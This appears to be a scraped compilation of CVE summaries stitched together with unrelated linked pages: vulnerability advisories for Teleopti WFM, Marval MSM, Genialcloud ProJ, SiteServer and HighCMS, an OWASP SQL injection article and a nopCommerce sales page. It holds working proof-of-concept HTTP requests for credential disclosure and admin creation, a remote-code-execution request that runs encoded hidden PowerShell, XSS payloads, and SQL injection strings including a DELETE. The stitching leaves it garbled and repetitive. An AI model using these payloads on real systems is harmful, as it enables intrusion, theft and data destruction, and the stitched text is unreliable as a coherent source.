In Sage 300 ERP (formerly accpac) through 6.8.x, the installer configures the C:\Sage\Sage300\Runtime directory to be the first entry in the system-wide PATH environment variable. However, this directory is writable by unprivileged users because the Sage installer fails to set explicit permissions and therefore inherits weak permissions from the C:\ folder. Because entries in the system-wide PATH variable are included in the search order for DLLs, an attacker could perform DLL search-order hijacking to escalate their privileges to SYSTEM. Furthermore, if the Global Search or Web Screens functionality is enabled, then privilege escalation is possible via the GlobalSearchService and Sage.CNA.WindowsService services, again via DLL search-order hijacking because unprivileged users would have modify permissions on the application directory. Note that while older versions of the software default to installing in %PROGRAMFILES(X86)% (which would allow the Sage folder to inherit strong permissions, making the installation not vulnerable), the official Sage 300 installation guides for those versions recommend installing in C:\Sage, which would make the installation vulnerable.

CVE-2021-45492: A Sage 300 Case Study

A vulnerability, which was classified as critical, was found in Teleopti WFM 7.1.0. This affects an unknown part of the component Administration. The manipulation leads to improper privilege management. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. It is recommended to apply a patch to fix this issue.

Nmap Announce Nmap Dev Full Disclosure Security Lists Internet Issues Open Source Dev

**Full Disclosure mailing list archives**

_From_: "Graph-X" <graphx () sigaint org>  
_Date_: Sun, 5 Feb 2017 19:38:02 -0600  

#############################################################
# Advisory Title: Teleopti WFM (Multiple Vulnerabilities)
# Date:         2/4/2017
# Researcher: Graph-X ((email: graphx () sigaint org))
# Vendor Homepage: http://www.teleopti.com
# Version: <= 7.1.0
# CVE: is dead
#############################################################
                             Disclosure Timeline
############################################################################################
8/30/2016  Initial contact made to alert Teleopti of the flaws
9/2/2016  Vulnerabilities provided to Teleopti along with POC information
9/5/2016  Teleopti Confirms they are able to reproduce and are working on
fixes
9/13/2016  Teleopti responds confirming patches released
9/15/2016  Draft of this advisory is provided to Teleopti for comment and
clarification
9/16/2016 - Teleopti asks that I not disclose
2/2/2017 - 5 months have passed since initial disclosure.  Informed
Teleopti of intent to disclose. (No response received).
2/4/2017 - Public disclosure on twitter and some IRC channels (yeah people
still use that shit)

2/6/2017  Advisory is published to Full Disclosure and Bug Traq mailing
lists.

A Comment On Affected Versions:
These were mainly found while testing version 7.1.0.  Additional research
showed that some of these vulnerabilities were also present in versions
back to 6.9.  I was unable to confirm directly if versions earlier than
that are vulnerable, but it is strongly suggested that patch levels be
brought to current just in case.

##############################{Vulnerabilities}#######################################
1: Server response contains plaintext username and password
2: Server response contains password hashes and access tokens
3: Improper Data Validation allowing Administrator account creation (only
version 7.1.0)
#################################################################################

Background:
Teleopti is a leading provider of solutions for strategic Workforce
Management (WFM) and Telecom Expense Management (TEM).

The company is renowned for developing advanced and user-friendly
solutions based on client requirements. Hundreds of enterprises around the
world rely on Teleopti to achieve optimal operational efficiency in their
contact center in order to provide the highest levels of service to their
users.



Researcher's Note:
I want to sincerely thank Teleopti for being so responsive in fixing the
vulnerabilities reported.  This is the FASTEST I have ever received  a) a
response from a vendor regarding security flaws and
b) the quickest turn around in providing a solution.
The development team and management of Teleopti have seriously impressed
me with the lightning fast response to these vulnerabilities.  It was an
absolute pleasure to coordinate with them on providing a better and more
secure product.  Hats off to Teleopti.


###Server Response Contains Plaintext Username and Password###

1)      Description
It is possible for a remote authenticated attacker to retrieve the
database username and password as well as server hostname/IP address via
the TeleoptiWFM/Administration section.  If an authenticated user makes a
request to the GetOneTenant page and the server will provide a JSON
response that contains that tenants database username, password,
database server name and IP address.
&#8195;
2)      Proof of Concept:

1.Send a POST request like the one below:
POST /TeleoptiWFM/Administration/GetOneTenant HTTP/1.1
Host: Proof-of-Concept
Content-Length: 14
Accept: application/json, text/plain, \*/\*
Authorization: <Access\_Token>
Content-Type: application/json;charset=UTF-8
Cookie: <ASP.net session cookie>
Connection: close

 Teleopti WFM" // This is the default tenant name

2. The server will respond similarly to the below snippet:
HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 357
<snip>
{"Id":1,"Name":"Teleopti
WFM","AppDatabase":"TELEOPTIAPPDB","AnalyticsDatabase":"TELEOPTIANALYTICSDB","CommandTimeout":60,"UserName":"DatabaseUser","Password":"hunter2","Server":"SQLSERVER","AggregationDatabase":"","Version":{"HeadVersion":710,"ImportAppVersion":710,"AppVersionOk":true,"Error":null},"Active":true,"UseIntegratedSecurity":false}

3)      Remediation
The vendor has issued a patch to address this information disclosure.

###Server Response Contains Password Hashes and Authorization Tokens###
1)      Description
A remote authenticated attacker can retrieve the usernames, password
hashes, and authorization tokens for all the administrative users by
submitting a GET request to /TeleoptiWFM/Administration/Users.  The server
provides a JSON response that includes excessive information such as user
password and access token.
2)      Proof of Concept
A remote authenticated attack would be able to trigger this information
disclosure by sending a GET request to the server like the one below: GET
/TeleoptiWFM/Administration/Users HTTP/1.1
Host: someappserver.example.com
Accept: application/json, text/plain, \*/\*


The response would be similar to the below snippet:
HTTP/1.1 200 OK
Cache-Control: no-store, must-revalidate, no-cache, private
Content-Type: application/json; charset=utf-8
Connection: close

\[{"Id":1,"Name":"Teleopti Tenant
admin","Email":"example () example com","Password":"\*\*\*\*\*\*","AccessToken":"\*\*\*\*\*\*\*\*"},{"Id":2,"Name":"joe","Email":"joe 
() example com","Password":"\*\*\*\*\*\*","AccessToken":"\*\*\*\*\*\*"}\]
3)      Remediation
Teleopti has issued a patch to remove the password and access token from
the server response.


###Improper Data Validation Allowing Unauthenticated Admin User
Creation###
1)      Description
The TeleoptiWFM/Administration page includes several logical checks
pertaining to initial user setup and first-time-run.  One such check is a
query to see if an admin user has already been established.  This check is
made when first landing on the Administration page.  It appears that a
client-side validation is made using a Boolean response to a GET request
to the HasNoUser page with either true or false.  An unauthenticated
remote attacker could manipulate the response from false to true which
would cause the client to reveal an admin user creation form.  The form,
once submitted, makes no additional server side validations there are
users in the database already.  Additionally, an attacker would be able to
create an admin user simply by sending a POST request similar to the one
provided below to the AddFirstUser page.
2)      Proof of Concept
Sending a POST request to the TeleoptiWFM/Administration/AddFirstUser url
with information provided by a remote unauthenticated attacker will add a
new user to the Administration user database.  The attacker would then be
able to login with full admin rights to the administration area.
POST /TeleoptWFM/Administration/AddFirstUser HTTP/1.1
Host: proofofconcept.com
Content-Length: 108
Accept: application/json, text/plain, \*/\*
Content-Type: application/json;charset=UTF-8

{"Name":"Admin2","Email":"another.admin () example com","Password":"hunter2","ConfirmPassword":"hunter12"}



If the attacker is successful, the server will provide the following JSON
response:

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Connection: close
Content-Length: 59

{"Success":true,"Message":"Updated the user successfully."}
3)      Remediation
Teleopti has released a patch to address this flaw.  It should be noted
that the flaw appears to only exist in version 7.1.0 of the TeleoptiWFM
software.




-- 
Fuck it, let's security! #YOLO





\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

**Current thread:**

*   **Teleopti WFM <= 7.1.0 Multiple Vulnerabilities** _Graph-X (Feb 06)_

CVE-2017-20111: Teleopti WFM <= 7.1.0 Multiple Vulnerabilities

Marval MSM version 14.19.0.12476 suffers from a remote code execution vulnerability.

    # Exploit Title: Marval MSM v14.19.0.12476 - Remote Code Execution (RCE) (Authenticated)# Date: 27/5/2022# Exploit Author: Momen Eldawakhly (Cyber Guy)# Vendor Homepage: https://www.marvalnorthamerica.com/# Software Link: https://www.marvalnorthamerica.com/# Version: v14.19.0.12476# Tested on: Windows# Detailed blog: https://cyber-guy.gitbook.io/cyber-guy/blogs/marval-msm-rcePOST /MSM_Test/RFP/Forms/ScriptHandler.ashx?method=ProcessScript&classPath=%2FMSM_Test%2FRFP%2FForms%2FScriptMaintenance.aspx&classMode=WXr8G2r3eh0wvNjbiIT6aYVgZATjWlaZW0UFQrQrcAku4qWefyYTUu%2BzULTTON0fQaLjNtnCW7VX%2Fj1rYPDpKKN%2F8HPLGRSpVbdvPaR4mPIrSr4Aj22VMuIDEkMTpPhoq3gX8p4TBir56GBTJcpLv1agwKPB%2BWI%2F2TlU%2FjQKzz0%3D HTTP/2Host: MSMHandler.ioCookie: ASP.NET_SessionId=arrsgikvbwbagdsvetfvphbu; appNameAuth=B3D1490922B24585684E139359F3BB93D8D92468A906B1FEA01EB4CF760A23DC90BF30327784677BBC00C5860C145602EF39BB9BEBB6A451E57DBF42C47B7D0CDE09F4CE15D2A5BEBFFCE5A7BFCF7DED8D8B17036F2BCE3DDA873B542EED614B9B42E4B5E4AA18BBE32CC0EB864E6825C898A2F465A42E871DF13F19845E171697D5E23688EAD29D3F6B221DBF18002DE5B929DBA88D42B4B518BC95F5BC5F3A3D36722FUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0Accept: application/json, text/javascript, */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedX-Requested-With: XMLHttpRequestContent-Length: 456Origin: https://MSMHandler.ioDnt: 1Referer: https://MSMHandler.io/MSM_Test/RFP/Forms/ScriptMaintenance.aspx?id=3Sec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-originTe: trailerstype=%221%22&content=%22%5Cn%5CnFunction+Pwn()%5Cn++Set+shell+%3D+CreateObject(%5C%22wscript.Shell%5C%22)%5Cn%5Cn%5Cn++++shell.run+%5C%22powershell.exe+-nop+-w+hidden+-E+%5C%22%5C%22JAB2AGEAcgA9AGgAbwBzAHQAbgBhAG0AZQA7AG4AcwBsAG8AbwBrAHUAcAAgAGsAcgBmADUAbAB2AGYANABzAGUAdABtAGoAMgB2AG4AZABiADUAOQBsADQAdgBtAGcAZABtADUAawB0ADkALgAkAHYAYQByAC4AbwBhAHMAdABpAGYAeQAuAGMAbwBtAA%3D%3D%5C%22%5C%22%5C%22%5Cn%5Cn%5CnEnd+Function%5Cn%5CnPwn%22&id=%2226%22&isCi=true

Marval MSM 14.19.0.12476 Remote Code Execution

A reflected cross-site scripting (XSS) vulnerability in the login portal of Avantune Genialcloud ProJ - 10 allows attackers to execute arbitrary web scripts or HTML via a crafted payload.

\# Exploit Title: Avantune Genialcloud ProJ 10 - Reflected XSS (Cross-Site Scripting) # Date: 2022-06-01 # Exploit Author: Andrea Intilangelo # Vendor Homepage: https://www.avantune.com # Software Link: https://www.genialcloud.com - https://www.genialcloud.com/discover-genialcloud-proj - https://store.genialcloud.com # Version: 10 # Tested on: Latest Version of Desktop Web Browsers (ATTOW: Firefox 100.0, Microsoft Edge 101.0.1210.39) # CVE: CVE-2022-29296 Reflected Cross-Site Scripting (XSS) vulnerability in login-portal webpage of Genialcloud ProJ (and potentially in other platforms from the same software house "Avantune" since codebase seems shared with their other products: Facsys and Analysis) allows remote attacker to inject and execute arbitrary web scripts or HTML via a crafted payload. Request parameters affected is "msg". PoC Request: GET /eportal/?nologon=1&msg=Invalid%20username%20or%20password%27%3Balert%28%22y0%21+XSS+here+%3A%29%22%29%2F%2F HTTP/1.1 Host: \[REDACTED\] Cookie: ASP.NET\_SessionId=3recnmmlpo1glzzyejdoezk2 Upgrade-Insecure-Requests: 1 Accept-Encoding: gzip, deflate Accept: \*/\* Accept-Language: en-US,en-GB;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36 Connection: close Cache-Control: max-age=0 PoC Response: HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/10.0 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Wed, 11 May 2022 10:51:10 GMT Connection: close Content-Length: 8162 var Msg = 'Invalid username or password';alert("y0! XSS here :)")//'; ...\[SNIP\]... Timeline: 2022-01-05: Vulnerability discovered. 2022-01-06: Vendor contacted. 2022-02-07: No reply, vendor contacted for 2nd time. 2022-02-10: Request for CVE reservation. 2022-04-16: Assigned CVE number CVE-2022-29296. 2022-05-07: No reply, vendor contacted for 3rd time. 2022-06-01: Public disclosure. PoC Screenshots: https://imagebin.ca/v/6j86ekMqKZD8 https://postimg.cc/XXv6YbK9

CVE-2022-29296

siteserver SSCMS 6.15.51 is vulnerable to Cross Site Scripting (XSS).

测试的版本:https://github.com/siteserver/cms/releases/download/siteserver-v6.15.51/siteserver\_install.zip  
SiteServer: V6.15.51  
测试环境：windows 2012 R2  
数据库 sql server 2016  
  
(需要登录测试)  
漏洞url:/SiteServer/cms/modalRelatedFieldItemEdit.aspx?siteId=1&RelatedFieldID=1&ParentID=0&Level=1&ID=1  

包体  
\`POST /SiteServer/cms/modalRelatedFieldItemEdit.aspx?siteId=1&RelatedFieldID=1&ParentID=0&Level=1&ID=1 HTTP/1.1  
Host: 192.168.39.3:8055  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:92.0) Gecko/20100101 Firefox/92.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,_/_;q=0.8  
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 304  
Origin: http://192.168.39.3:8055  
Connection: close  
Referer: http://192.168.39.3:8055/SiteServer/cms/modalRelatedFieldItemEdit.aspx?siteId=1&RelatedFieldID=1&ParentID=0&Level=1&ID=1  
Cookie: BAIRONG.VC.ADMINLOGIN=oeLExOp9UBM0equals0; ss\_administrator\_access\_token=M3ENIa3NKJJ39JCRHnY4PgfJqMC7lFjggL0e9S06Bs9ubZE90add0xM2aesaL0add0Cxo8Xe5VZrSanerzFU8oZaMXCC9KMxdw29fLk6uNSSoY4Pa0add0BOZfzRwKT2t3LglumO4sTUKSz0slash0ubJ9QajCyTsKpmbPu7yv20add08zpsQyVPpl3TuMITkOCIX1EwcC7CeIJ50slash0XQ9d0slash0oR8ECV0add0690add0eXRHbEImnZsLBsrhv7KML0Jhuevbhvcjs0equals0; ASP.NET\_SessionId=l3tothqgmzbgljaogh1uof3y; SS-ADMIN-TOKEN=z69iWbk6QAgWtUmPiJBXDd7vXmikE7IMRbVWfh0add00xyMUHXn13zDSbfJyodBLcAQuP9kU0slash0F7SybZwZUK7ER9csWj0ODr7NgSqXfVWABfJpKMXGuT2wQudsXkhDU9JMvsrkNIPV5cKDS3vGUQNyPwFtxt7YFaPv4h0slash09w0slash0UOjfXLezfaa1ML5HzkaV5p1JCQWmJTQEnr7CYs7SWD7Jqq2Ifc0slash0oUvADaZFl2TmYxcUUCqEQ0equals00secret0  
Upgrade-Insecure-Requests: 1

\_\_EVENTTARGET=&\_\_EVENTARGUMENT=&\_\_VIEWSTATE=MVZqB4shzUeYHIX5zAuRZJJbL8r72A7Evx94mUbTTNpGbOwWBZkeb79FVsI2zTj0PlNYIzK%2BpEzx3SRf96HflbXA8nFVIpCU16GBIeWZSq4vLCZLjX0CoHWGwnxNyQzo&\_\_VIEWSTATEGENERATOR=4DCED64B&TbItemName=%3Csvg+onload%3Dalert%28document.domain%29%3E&TbItemValue=2222&ctl04=%E7%A1%AE+%E5%AE%9A\`

CVE-2022-30349: 跨站脚本攻击(xss) · Issue #3238 · siteserver/cms

Avantune Genialcloud ProJ version 10 suffers from a cross site scripting vulnerability.

    # Exploit Title: Avantune Genialcloud ProJ 10 - Reflected XSS (Cross-Site Scripting)# Date: 2022-06-01# Exploit Author: Andrea Intilangelo# Vendor Homepage: https://www.avantune.com# Software Link: https://www.genialcloud.com - https://www.genialcloud.com/discover-genialcloud-proj - https://store.genialcloud.com# Version: 10# Tested on: Latest Version of Desktop Web Browsers (ATTOW: Firefox 100.0, Microsoft Edge 101.0.1210.39)# CVE: CVE-2022-29296Reflected Cross-Site Scripting (XSS) vulnerability in login-portal webpage of Genialcloud ProJ (and potentially in other platforms from thesame software house "Avantune" since codebase seems shared with their other products: Facsys and Analysis) allows remote attacker to injectand execute arbitrary web scripts or HTML via a crafted payload.Request parameters affected is "msg".PoC Request:GET /eportal/?nologon=1&msg=Invalid%20username%20or%20password%27%3Balert%28%22y0%21+XSS+here+%3A%29%22%29%2F%2F HTTP/1.1Host: [REDACTED]Cookie: ASP.NET_SessionId=3recnmmlpo1glzzyejdoezk2Upgrade-Insecure-Requests: 1Accept-Encoding: gzip, deflateAccept: */*Accept-Language: en-US,en-GB;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36Connection: closeCache-Control: max-age=0PoC Response:HTTP/1.1 200 OKCache-Control: privateContent-Type: text/html; charset=utf-8Server: Microsoft-IIS/10.0X-AspNet-Version: 4.0.30319X-Powered-By: ASP.NETDate: Wed, 11 May 2022 10:51:10 GMTConnection: closeContent-Length: 8162<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><link rel="stylesheet"...[SNIP]...<script type="text/javascript"> var Msg = 'Invalid username or password';alert("y0! XSS here :)")//';</script>...[SNIP]...Timeline:2022-01-05: Vulnerability discovered.2022-01-06: Vendor contacted.2022-02-07: No reply, vendor contacted for 2nd time.2022-02-10: Request for CVE reservation.2022-04-16: Assigned CVE number CVE-2022-29296.2022-05-07: No reply, vendor contacted for 3rd time.2022-06-01: Public disclosure.PoC Screenshots:https://imagebin.ca/v/6j86ekMqKZD8https://postimg.cc/XXv6YbK9

Avantune Genialcloud ProJ 10 Cross Site Scripting

HighCMS/HighPortal version 12.x appears to suffer from a remote SQL injection vulnerability.

    # Exploit Title: HighCMS/HighPortal v12.x SQL Inj# Type : WEBAPPS "HighCMS/HighPortal"# Platform :  ASP.NET# Date :  4/23/2022# Exploit Author :  E1.Coders# Software Link :  https://aryanic.com/page/portal# Version :  v12.x# Category :  Webapps# Tested on: Linux/Windows# Google Dork: inurl:index.jsp?siteid=1&fkeyid=&siteid=1&pageid= # Google Dork: <©2022 HighCMS/HighPortal" Step 1: Enter the address of the "page" that has the problem of sql injection attacks  http: //TARGET/index.jsp? Siteid = 1 & fkeyid = & siteid = 1 & pageid = 6528 Default credentials.      ( is True )STEP 2 : Send the following request "orUse sqlmap : python sqlmap.py -u "https://example.ir/index.jsp?siteid=1&fkeyid=&siteid=1&pageid=11211"

HighCMS/HighPortal 12.x SQL Injection

Hotel Management System v1.0 was discovered to contain a SQL injection vulnerability via the username parameter at the login page.

**Contributor(s):** kingthorin  

**Overview**

A SQL injection attack consists of insertion or “injection” of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to affect the execution of predefined SQL commands.

**Threat Modeling**

*   SQL injection attacks allow attackers to spoof identity, tamper with existing data, cause repudiation issues such as voiding transactions or changing balances, allow the complete disclosure of all data on the system, destroy the data or make it otherwise unavailable, and become administrators of the database server.
*   SQL Injection is very common with PHP and ASP applications due to the prevalence of older functional interfaces. Due to the nature of programmatic interfaces available, J2EE and ASP.NET applications are less likely to have easily exploited SQL injections.
*   The severity of SQL Injection attacks is limited by the attacker’s skill and imagination, and to a lesser extent, defense in depth countermeasures, such as low privilege connections to the database server and so on. In general, consider SQL Injection a high impact severity.

**How to Avoid SQL Injection Vulnerabilities**

See the OWASP SQL Injection Prevention Cheat Sheet. See the OWASP Query Parameterization Cheat Sheet.

**How to Review Code for SQL Injection Vulnerabilities**

See the OWASP Code Review Guide article on how to Review Code for SQL Injection vulnerabilities.

**How to Test for SQL Injection Vulnerabilities**

See the OWASP Testing Guide for information on testing for SQL Injection vulnerabilities.

**How to Bypass Web Application Firewalls with SQLi**

See the OWASP Article on using SQL Injection to bypass a WAF

**Description**

SQL injection attack occurs when:

1.  An unintended data enters a program from an untrusted source.
2.  The data is used to dynamically construct a SQL query

The main consequences are:

*   **Confidentiality**: Since SQL databases generally hold sensitive data, loss of confidentiality is a frequent problem with SQL Injection vulnerabilities.
*   **Authentication**: If poor SQL commands are used to check user names and passwords, it may be possible to connect to a system as another user with no previous knowledge of the password.
*   **Authorization**: If authorization information is held in a SQL database, it may be possible to change this information through the successful exploitation of a SQL Injection vulnerability.
*   **Integrity**: Just as it may be possible to read sensitive information, it is also possible to make changes or even delete this information with a SQL Injection attack.

**Risk Factors**

The platform affected can be:

*   Language: SQL
*   Platform: Any (requires interaction with a SQL database)

SQL Injection has become a common issue with database-driven web sites. The flaw is easily detected, and easily exploited, and as such, any site or software package with even a minimal user base is likely to be subject to an attempted attack of this kind.

Essentially, the attack is accomplished by placing a meta character into data input to then place SQL commands in the control plane, which did not exist there before. This flaw depends on the fact that SQL makes no real distinction between the control and data planes.

**Examples****Example 1**

In SQL: select id, firstname, lastname from authors

If one provided: Firstname: evil'ex and Lastname: Newman

the query string becomes:

select id, firstname, lastname from authors where firstname = 'evil'ex' and lastname ='newman'

which the database attempts to run as:

Incorrect syntax near il' as the database tried to execute evil.

A safe version of the above SQL statement could be coded in Java as:

    String firstname = req.getParameter("firstname");
    String lastname = req.getParameter("lastname");
    // FIXME: do your own validation to detect attacks
    String query = "SELECT id, firstname, lastname FROM authors WHERE firstname = ? and lastname = ?";
    PreparedStatement pstmt = connection.prepareStatement( query );
    pstmt.setString( 1, firstname );
    pstmt.setString( 2, lastname );
    try
    {
        ResultSet results = pstmt.execute( );
    }
    

**Example 2**

The following C# code dynamically constructs and executes a SQL query that searches for items matching a specified name. The query restricts the items displayed to those where owner matches the user name of the currently-authenticated user.

    ...
    string userName = ctx.getAuthenticatedUserName();
    string query = "SELECT * FROM items WHERE owner = "'"
                    + userName + "' AND itemname = '"
                    + ItemName.Text + "'";
    sda = new SqlDataAdapter(query, conn);
    DataTable dt = new DataTable();
    sda.Fill(dt);
    ...
    

The query that this code intends to execute follows:

    SELECT * FROM items
    WHERE owner =
    AND itemname = ;
    

However, because the query is constructed dynamically by concatenating a constant base query string and a user input string, the query only behaves correctly if itemName does not contain a single-quote character. If an attacker with the user name wiley enters the string "name' OR
'a'='a" for itemName, then the query becomes the following:

    SELECT * FROM items
    WHERE owner = 'wiley'
    AND itemname = 'name' OR 'a'='a';
    

The addition of the OR 'a'='a' condition causes the where clause to always evaluate to true, so the query becomes logically equivalent to the much simpler query:

SELECT * FROM items;

This simplification of the query allows the attacker to bypass the requirement that the query only return items owned by the authenticated user; the query now returns all entries stored in the items table, regardless of their specified owner.

**Example 3**

This example examines the effects of a different malicious value passed to the query constructed and executed in Example 1. If an attacker with the user name hacker enters the string "name'); DELETE FROM items; --" for itemName, then the query becomes the following two queries:

    SELECT * FROM items
    WHERE owner = 'hacker'
    AND itemname = 'name';
    
    DELETE FROM items;
    
    --'
    

Many database servers, including Microsoft® SQL Server 2000, allow multiple SQL statements separated by semicolons to be executed at once. While this attack string results in an error in Oracle and other database servers that do not allow the batch-execution of statements separated by semicolons, in databases that do allow batch execution, this type of attack allows the attacker to execute arbitrary commands against the database.

Notice the trailing pair of hyphens (--), which specifies to most database servers that the remainder of the statement is to be treated as a comment and not executed. In this case the comment character serves to remove the trailing single-quote left over from the modified query. In a database where comments are not allowed to be used in this way, the general attack could still be made effective using a trick similar to the one shown in Example 1. If an attacker enters the string "name'); DELETE FROM items; SELECT \* FROM items WHERE 'a'='a", the following three valid statements will be created:

    SELECT * FROM items
    WHERE owner = 'hacker'
    AND itemname = 'name';
    
    DELETE FROM items;
    
    SELECT * FROM items WHERE 'a'='a';
    

One traditional approach to preventing SQL injection attacks is to handle them as an input validation problem and either accept only characters from an allow list of safe values or identify and escape a deny list of potentially malicious values. An allow list can be a very effective means of enforcing strict input validation rules, but parameterized SQL statements require less maintenance and can offer more guarantees with respect to security. As is almost always the case, deny listing is riddled with loopholes that make it ineffective at preventing SQL injection attacks. For example, attackers can:

*   Target fields that are not quoted
*   Find ways to bypass the need for certain escaped meta-characters
*   Use stored procedures to hide the injected meta-characters

Manually escaping characters in input to SQL queries can help, but it will not make your application secure from SQL injection attacks.

Another solution commonly proposed for dealing with SQL injection attacks is to use stored procedures. Although stored procedures prevent some types of SQL injection attacks, they fail to protect against many others. For example, the following PL/SQL procedure is vulnerable to the same SQL injection attack shown in the first example.

    procedure get_item (
        itm_cv IN OUT ItmCurTyp,
        usr in varchar2,
        itm in varchar2)
    is
        open itm_cv for ' SELECT * FROM items WHERE ' ||
                'owner = '''|| usr ||
                ' AND itemname = ''' || itm || '''';
    end get_item;
    

Stored procedures typically help prevent SQL injection attacks by limiting the types of statements that can be passed to their parameters. However, there are many ways around the limitations and many interesting statements that can still be passed to stored procedures. Again, stored procedures can prevent some exploits, but they will not make your application secure against SQL injection attacks.

*   SQL Injection Bypassing WAF
*   Blind SQL Injection
*   Code Injection
*   Double Encoding
*   ORM Injection

**References**

*   SQL Injection Knowledge Base - A reference guide for MySQL, MSSQL and Oracle SQL Injection attacks.
*   GreenSQL Open Source SQL Injection Filter - An Open Source database firewall used to protect databases from SQL injection attacks.
*   An Introduction to SQL Injection Attacks for Oracle Developers
    *   This also includes recommended defenses.

Category:Injection

CVE-2022-28110: SQL Injection | OWASP Foundation

In nopCommerce 4.50.1, an open redirect vulnerability can be triggered by luring a user to authenticate to a nopCommerce page by clicking on a crafted link.

**12 years of experience**

On the eCommerce market

**60,000+ live shops**

From SMB to Enterprise  
10,000+ new stores every year

**150+ partners**

From 40+ countries

**1,500+ integrations**

Plugins, themes, language packs

**250,000+ members**

Community worldwide

**3,000,000+ downloads**

And the number is still growing

**For every size and type of business**

**Small and medium business**

Quickly launch and scale your online store with rich built-in functionality: integration with payment and shipment services; warehouse managing; marketing and SEO tools; and mobile-friendly stores.

**Enterprise business**

Use multi-vendor and multi-store functionality (B2B and B2C). Get the maximum advantage of enterprise-grade performance. Easy integration and limitless customization opportunities.

**Global business**

A flexible system to fit your demands: GDPR; multi-currencies and multi-languages; regional taxes and laws support; management of multiple international stores; integration with local services and suppliers.

**Why nopCommerce**

**Absolutely free**

No transaction fee.  
No monthly fees.  
No hidden fees.

**PCI DSS compliant**

Meet all security requirements for all kinds of businesses

**Unlimited customization**

You’re not limited by our built-in functionality because we’re open-source

**Great Support**

Our team and our community is always here to help you

**Testimonials**

If you are a .NET developer looking for an eCommerce platform you should consider nopCommerce. It is both a great extensible eCommerce platform and supports the latest versions of .NET

Scott Hunter,  
Director of Program Management for the .NET Platform at Microsoft (USA)

nopCommerce is a fantastic open-source, stable, and super extensible eCommerce platform based on cross-platform .NET Core! It's perfect for any size business.

Scott Hanselman,  
Principal Community Architect, Microsoft (USA)

Besides having a rich out-of-the-box functionality, the platform is also flexible in terms of additional customization and gives an opportunity to integrate with different corporate systems, which made it a perfect fit for us.

Boris Kulaev,  
Head of eCommerce Harman RUS CIS

Read case study

With nopCommerce we are able to create the optimal eCommerce system according to our customer’s needs. The modern and sophisticated backend of nopCommerce allows fast and simple configuration of the shop.

José Lopez,  
CEO of JMC Software AG (Switzerland)

Play case study

We like nopCommerce because it’s a platform with a very well-structured architecture that enables its modification greatly since it’s open-source. nopCommerce can be easily adapted to cover the needs of every one of our customers.

Eduardo Adame,  
General Director of Tecnofin (Mexico)

Play case study

As a platform, nopCommerce supports us very well because the architecture is very good. We needed a secure, Microsoft-compatible solution for a customer that was multi-store capable and nopCommerce fitted this description best.

Tobias Derucki,  
Managing Partner at Innovapps (Germany)

View the testimonial

I would recommend nopCommerce because it has an easy-to-use interface and you don’t have to be an IT-master to use it. You can be a marketing professional, create the content, manage the pricing and categories, and do it very easy.

Dana Koman,  
Marketing Manager of TACO Metals (USA)

View the testimonial

**Our clients**

*   
*   
*   
*   
*   
*   
*   
*   

**Integrated with all services**

**Create a successful store with nopCommerce!**

Tag

#asp.net